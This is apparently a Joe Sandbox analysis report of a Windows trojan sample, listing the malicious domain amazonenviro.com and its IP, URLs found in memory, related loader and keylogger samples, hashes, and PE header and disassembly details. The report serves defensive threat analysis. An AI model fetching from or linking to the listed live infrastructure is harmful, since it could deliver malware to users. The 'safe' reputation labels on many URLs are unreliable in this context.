https://amazonenviro.com:443/245_Nsltarpnconclose	0%	Avira URL Cloud	safe
https://amazonenviro.com/245_NsltarpnconV	0%	Avira URL Cloud	safe
https://amazonenviro.com/245_Nsltarpnconc	0%	Avira URL Cloud	safe
https://amazonenviro.com:443/245_Nsltarpncon	0%	Avira URL Cloud	safe
https://amazonenviro.com/h	0%	Avira URL Cloud	safe
https://amazonenviro.com:443/245_Nsltarpnconj	0%	Avira URL Cloud	safe
https://amazonenviro.com/245_Nsltarpncon8i8	0%	Avira URL Cloud	safe
https://amazonenviro.com:443/245_Nsltarpnconiro.comhtep	0%	Avira URL Cloud	safe
https://amazonenviro.com/o	0%	Avira URL Cloud	safe
https://amazonenviro.com/w	0%	Avira URL Cloud	safe
https://amazonenviro.com/g	0%	Avira URL Cloud	safe
https://amazonenviro.com/245_Nsltarpnconq	0%	Avira URL Cloud	safe
https://amazonenviro.com/245_Nsltarpncony	0%	Avira URL Cloud	safe
https://amazonenviro.com:443/245_Nsltarpncon5zm	0%	Avira URL Cloud	safe
https://amazonenviro.com/X	0%	Avira URL Cloud	safe
https://amazonenviro.com/245_Nsltarpncon	0%	Avira URL Cloud	safe
https://amazonenviro.com/_	0%	Avira URL Cloud	safe
https://amazonenviro.com/245_NsltarpnconM~.	0%	Avira URL Cloud	safe
https://amazonenviro.com/J	0%	Avira URL Cloud	safe
https://amazonenviro.com/245_Nsltarpnconc)	0%	Avira URL Cloud	safe
https://amazonenviro.com/8	0%	Avira URL Cloud	safe
https://amazonenviro.com/?	0%	Avira URL Cloud	safe
https://amazonenviro.com:443/245_Nsltarpncon_	0%	Avira URL Cloud	safe
https://amazonenviro.com/245_Nsltarpncon)	0%	Avira URL Cloud	safe
https://amazonenviro.com/	0%	Avira URL Cloud	safe
https://amazonenviro.com/(	0%	Avira URL Cloud	safe
https://amazonenviro.com//	0%	Avira URL Cloud	safe
https://amazonenviro.com/7	0%	Avira URL Cloud	safe
https://amazonenviro.com/245_Nsltarpncon5	0%	Avira URL Cloud	safe
https://amazonenviro.com/245_Nsltarpncon0	0%	Avira URL Cloud	safe
https://amazonenviro.com/245_Nsltarpncon(zp	0%	Avira URL Cloud	safe
https://amazonenviro.com/245_Nsltarpncon/	0%	Avira URL Cloud	safe
https://amazonenviro.com/245_NsltarpnconW~	0%	Avira URL Cloud	safe
https://amazonenviro.com:443/245_Nsltarpnconlg	0%	Avira URL Cloud	safe
https://amazonenviro.com:443/245_Nsltarpnconerse	0%	Avira URL Cloud	safe
https://amazonenviro.com/245_NsltarpnconH	0%	Avira URL Cloud	safe
https://amazonenviro.com/245_NsltarpnconF	0%	Avira URL Cloud	safe
https://amazonenviro.com/245_Nsltarpncon?	0%	Avira URL Cloud	safe
https://amazonenviro.com:443/245_Nsltarpncon3	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
amazonenviro.com	166.62.27.188	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://amazonenviro.com/245_Nsltarpncon	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://amazonenviro.com/245_NsltarpnconV	LbZ88q4uPa.exe, 00000000.00000003.1721298684.00000000006C7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/245_NsltarpnconW	LbZ88q4uPa.exe, 00000000.00000003.2359917596.00000000006C1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/245_NsltarpnconL	LbZ88q4uPa.exe, 00000000.00000002.2937308128.00000000006C7000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.2888515027.00000000006C7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com:443/245_NsltarpnconZZZZ:s	LbZ88q4uPa.exe, 00000000.00000002.2937308128.0000000000719000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.2888515027.0000000000719000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/245_NsltarpnconP	LbZ88q4uPa.exe, 00000000.00000003.2686960798.00000000006F2000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.1949462184.00000000006F3000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.2888515027.00000000006F3000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.1704822504.00000000006CB000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000002.2937308128.00000000006F2000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.1770560082.00000000006F6000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.2359917596.00000000006D2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/245_Nsltarpnconb	LbZ88q4uPa.exe, 00000000.00000003.2888515027.00000000006F3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/245_Nsltarpnconc	LbZ88q4uPa.exe, 00000000.00000002.2937308128.00000000006C7000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.2888515027.00000000006C7000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.1770742988.00000000006C7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/245_Nsltarpncon.64.1.1	LbZ88q4uPa.exe, 00000000.00000003.1721298684.00000000006BA000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.1704914093.00000000006B7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/245_Nsltarpnconi	LbZ88q4uPa.exe, 00000000.00000002.2937308128.000000000063E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com:443/245_Nsltarpnconclose	LbZ88q4uPa.exe, 00000000.00000003.1949462184.0000000000705000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com:443/245_Nsltarpncon	LbZ88q4uPa.exe, 00000000.00000002.2937308128.0000000000719000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.2359840806.0000000000719000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.2188951037.0000000021382000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.2489960662.000000000070A000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.2516597867.0000000000716000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.2686960798.0000000000719000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.2260288403.0000000021382000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.2888515027.0000000000719000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.1949462184.0000000000705000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/w	LbZ88q4uPa.exe, 00000000.00000003.2686960798.00000000006EA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/h	LbZ88q4uPa.exe, 00000000.00000003.2888515027.00000000006EA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/o	LbZ88q4uPa.exe, 00000000.00000003.1770560082.00000000006EA000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.1786893756.00000000006EA000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.2888515027.00000000006EA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/245_Nsltarpncon8i8	LbZ88q4uPa.exe, 00000000.00000002.2937308128.00000000006B7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/245_Nsltarpncony	LbZ88q4uPa.exe, 00000000.00000003.1949462184.00000000006F3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com:443/245_Nsltarpnconiro.comhtep	LbZ88q4uPa.exe, 00000000.00000002.2937308128.0000000000719000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.2888515027.0000000000719000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com:443/245_Nsltarpnconj	LbZ88q4uPa.exe, 00000000.00000003.2359840806.0000000000719000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/g	LbZ88q4uPa.exe, 00000000.00000002.2937308128.00000000006EA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/245_Nsltarpnconq	LbZ88q4uPa.exe, 00000000.00000003.2686960798.00000000006C7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/X	LbZ88q4uPa.exe, 00000000.00000003.1770560082.00000000006EA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/_	LbZ88q4uPa.exe, 00000000.00000002.2937308128.00000000006EA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com:443/245_Nsltarpncon5zm	LbZ88q4uPa.exe, 00000000.00000003.2489960662.000000000070A000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.2516597867.0000000000716000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/W	LbZ88q4uPa.exe, 00000000.00000003.2359917596.00000000006D2000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://amazonenviro.com/J	LbZ88q4uPa.exe, 00000000.00000003.2686960798.00000000006EA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/O	LbZ88q4uPa.exe, 00000000.00000003.1770560082.00000000006EA000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.2686960798.00000000006EA000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.1704822504.00000000006CB000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.1786893756.00000000006EA000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.1721298684.00000000006EA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://amazonenviro.com/G	LbZ88q4uPa.exe, 00000000.00000003.1770560082.00000000006EA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://amazonenviro.com/245_NsltarpnconM~.	LbZ88q4uPa.exe, 00000000.00000003.1770742988.00000000006BA000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.1721298684.00000000006BA000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.1704914093.00000000006B7000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.1787030219.00000000006B7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/245_Nsltarpnconc)	LbZ88q4uPa.exe, 00000000.00000003.2888515027.00000000006F3000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.1704822504.00000000006CB000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.1770560082.00000000006F6000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.1721298684.00000000006F6000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.1786893756.00000000006F6000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.2359917596.00000000006D2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com:443/245_Nsltarpncon_	LbZ88q4uPa.exe, 00000000.00000003.2516597867.0000000000716000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/8	LbZ88q4uPa.exe, 00000000.00000003.1704822504.00000000006CB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/?	LbZ88q4uPa.exe, 00000000.00000003.1770560082.00000000006EA000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.1786893756.00000000006EA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/245_Nsltarpncon)	LbZ88q4uPa.exe, 00000000.00000003.2359917596.00000000006C1000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.1770742988.00000000006C7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/	LbZ88q4uPa.exe, 00000000.00000003.1704822504.00000000006CB000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.1786893756.00000000006EA000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.1721298684.00000000006EA000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000002.2937308128.00000000006EA000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.2888515027.00000000006EA000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.2359917596.00000000006D2000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://amazonenviro.com/7	LbZ88q4uPa.exe, 00000000.00000002.2937308128.00000000006EA000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.2359917596.00000000006D2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/(	LbZ88q4uPa.exe, 00000000.00000003.1770560082.00000000006EA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/245_Nsltarpncon5	LbZ88q4uPa.exe, 00000000.00000003.2888515027.00000000006C7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com//	LbZ88q4uPa.exe, 00000000.00000003.2359917596.00000000006D2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/245_Nsltarpncon/	LbZ88q4uPa.exe, 00000000.00000003.2045905291.0000000021360000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/245_Nsltarpncon0	LbZ88q4uPa.exe, 00000000.00000003.2686960798.00000000006B7000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.1770742988.00000000006BA000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.2888515027.00000000006B7000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.1721298684.00000000006BA000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.2359917596.00000000006B4000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.1704914093.00000000006B7000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000002.2937308128.00000000006B7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/245_NsltarpnconW~	LbZ88q4uPa.exe, 00000000.00000003.2686960798.00000000006B7000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.1770742988.00000000006BA000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.2888515027.00000000006B7000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.1721298684.00000000006BA000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.1704914093.00000000006B7000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.1787030219.00000000006B7000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000002.2937308128.00000000006B7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/245_Nsltarpncon(zp	LbZ88q4uPa.exe, 00000000.00000003.1770742988.00000000006BA000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.1787030219.00000000006B7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com:443/245_Nsltarpnconerse	LbZ88q4uPa.exe, 00000000.00000003.1949462184.0000000000705000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/245_NsltarpnconF	LbZ88q4uPa.exe, 00000000.00000002.2937308128.00000000006F2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/245_NsltarpnconH	LbZ88q4uPa.exe, 00000000.00000003.1770560082.00000000006F6000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.1786893756.00000000006F6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com:443/245_Nsltarpnconlg	LbZ88q4uPa.exe, 00000000.00000003.2188951037.0000000021382000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.2260288403.0000000021382000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com/245_Nsltarpncon?	LbZ88q4uPa.exe, 00000000.00000003.2686960798.00000000006F2000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000002.2937308128.00000000006F2000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.2359917596.00000000006D2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://amazonenviro.com:443/245_Nsltarpncon3	LbZ88q4uPa.exe, 00000000.00000003.2516597867.0000000000716000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.2686960798.0000000000719000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
166.62.27.188	amazonenviro.com	United States		26496	AS-26496-GO-DADDY-COM-LLCUS	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1590516
Start date and time:	2025-01-14 08:22:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 59s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	LbZ88q4uPa.exe renamed because original name is a hash value
Original Sample Name:	bf9b75adf866583299dbc8a5fad66cfc.exe
Detection:	MAL
Classification:	mal76.troj.evad.winEXE@1/0@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 23 Number of non-executed functions: 39
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 172.202.163.200, 13.107.246.45
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
02:22:57	API Interceptor	77x Sleep call for process: LbZ88q4uPa.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
166.62.27.188	zYj1wg0cM2.doc	Get hash	malicious	DBatLoader	Browse	amazonenviro.com/245_Aiymwhpjxsg
	ENQ-0092025.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	amazonenviro.com/245_Aiymwhpjxsg
	yxU3AgeVTi.exe	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	amazonenviro.com/245_Aiymwhpjxsg
	ITT # KRPBV2663 .doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	amazonenviro.com/245_Aiymwhpjxsg

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
amazonenviro.com	PI ITS15235.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	166.62.27.188
	zYj1wg0cM2.doc	Get hash	malicious	DBatLoader	Browse	166.62.27.188
	ENQ-0092025.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	166.62.27.188
	yxU3AgeVTi.exe	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	166.62.27.188
	ITT # KRPBV2663 .doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	166.62.27.188
	PI ITS15235.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	166.62.27.188

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AS-26496-GO-DADDY-COM-LLCUS	PI ITS15235.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	166.62.27.188
	trow.exe	Get hash	malicious	Unknown	Browse	107.180.98.101
	https://upholl-xlognusa.godaddysites.com/	Get hash	malicious	Unknown	Browse	198.71.248.123
	3.elf	Get hash	malicious	Unknown	Browse	184.168.52.170
	http://logiinnmaskemettaha93.godaddysites.com/	Get hash	malicious	HTMLPhisher	Browse	198.71.248.123
	http://app-metamask.godaddysites.com/	Get hash	malicious	Unknown	Browse	198.71.248.123
	http://metamssk-luggiinn.godaddysites.com/	Get hash	malicious	HTMLPhisher	Browse	198.71.248.123
	http://procustodiavalueslive.github.io/mediantime1db1d62ef90e6fec5644546bc086f16336d68481479f56e29285a338fc23/	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	72.167.84.16
	n0nsAzvYNd.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	166.62.28.135
	C5JLkBS1CX.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	166.62.28.135

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	PI ITS15235.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	166.62.27.188
	183643586-388657435.07.exe	Get hash	malicious	Unknown	Browse	166.62.27.188
	uo9m.exe	Get hash	malicious	LummaC	Browse	166.62.27.188
	uo9m.exe	Get hash	malicious	LummaC	Browse	166.62.27.188
	YYYY-NNN AUDIT DETAIL REPORT .docx	Get hash	malicious	Unknown	Browse	166.62.27.188
	msit.exe	Get hash	malicious	LummaC Stealer	Browse	166.62.27.188
	tesr.exe	Get hash	malicious	LummaC Stealer	Browse	166.62.27.188
	WSLRT.exe	Get hash	malicious	LummaC Stealer	Browse	166.62.27.188

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.248914742573976
TrID:	Win32 Executable (generic) a (10002005/4) 99.38% InstallShield setup (43055/19) 0.43% Windows Screen Saver (13104/52) 0.13% Win16/32 Executable Delphi generic (2074/23) 0.02% Generic Win/DOS Executable (2004/3) 0.02%
File name:	LbZ88q4uPa.exe
File size:	1'161'216 bytes
MD5:	bf9b75adf866583299dbc8a5fad66cfc
SHA1:	377f83f54d1226a181f265557804001cb9deee6a
SHA256:	1bec44aa19ea8daa0b7151b312975f3f753e03f0bbce5ebeab8dfda5fb736a91
SHA512:	384b92d7ecbd8c5242815cb8ec6bce0096412d2f558c61c4c91a5aff38d3da8cf297d40362b91c1f4620d02700954fbee71519e4735ee4bd17413ee491220fd7
SSDEEP:	24576:Gw6yj+R7ydItm/2uQAGYDKAVcpzWc4ctu:GDBR2KTYDKArc4Ku
TLSH:	C135AE3790B387FEC15385798D5F9BE4B82EA9303A28B952FED57D0C4B242427938197
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	4f858a8c8e8e8946

Static PE Info

General

Entrypoint:	0x46e80c
Entrypoint Section:	.itext
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
DLL Characteristics:
Time Stamp:	0x2A425E19 [Fri Jun 19 22:22:17 1992 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	44c8864bd68c3bff94639c69671ea4b7

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFF0h
mov eax, 0046D250h
call 00007F15E8D8A281h
mov ecx, dword ptr [00470E9Ch]
mov eax, dword ptr [00470D8Ch]
mov eax, dword ptr [eax]
mov edx, dword ptr [0046CB00h]
call 00007F15E8DE0119h
mov eax, dword ptr [00470D8Ch]
mov eax, dword ptr [eax]
call 00007F15E8DE018Dh
call 00007F15E8D880E0h
lea eax, dword ptr [eax+00h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x75000	0x266e	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x82000	0xa1c00	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x7a000	0x7ce8	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x79000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
